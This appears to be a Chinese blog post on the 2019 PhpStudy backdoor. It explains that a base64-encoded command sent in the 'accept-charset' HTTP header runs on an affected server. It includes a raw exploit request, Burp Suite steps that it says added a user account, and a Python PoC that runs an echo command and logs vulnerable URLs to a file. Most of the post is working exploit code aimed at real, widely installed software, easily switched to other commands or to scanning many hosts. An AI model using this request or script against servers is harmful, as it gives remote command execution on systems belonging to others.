phpstudy后门POC检测模块
北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后门”。截至案发,近百万PHP用户中超过67万用户已被黑客控制,并大肆盗取账号密码、聊天记录、设备码类等敏感数据多达10万多组,非法牟利600多万元。

我们来看一下phpstudy后门利用原理,accept-charset协议头参数是将发送数据的编码告诉服务器,如果是为base64编码后的字符,将会执行后门木马中的命令。
GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyAiYml0Y2hcbiI7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1
打开burpsuite可以进行测试,首先将命令代码转换成base64编码。

之后使用burp发送数据包。

虽然没有反应,但是我们查看用户已经多了一个账户。

同样也可以执行别的命令。

PYTHON POC 可用于检测后门:
#-*- encoding:gbk -*- import base64 import requests payload = 'echo "cool";' payload = base64.b64encode(payload.encode('utf-8')) payload = str(payload, 'utf-8') headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'accept-charset': payload, 'Accept-Encoding': 'gzip,deflate', 'Connection': 'close', } def write_shell(url,headers): try: r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30) if "cool" in r.text: print ('[ + ] 存在后门利用: '+url+' ===============[ + ]\n') with open('success.txt','a') as f: f.write(url+'\n') else: print ('[ - ] 不存在后门利用: '+url+'[ - ]\n') except: print ('[ - ] 超时无法打开: '+url+' [ - ]\n') url = "http://127.0.0.1/" write_shell(url=url,headers=headers)

浙公网安备 33010602011771号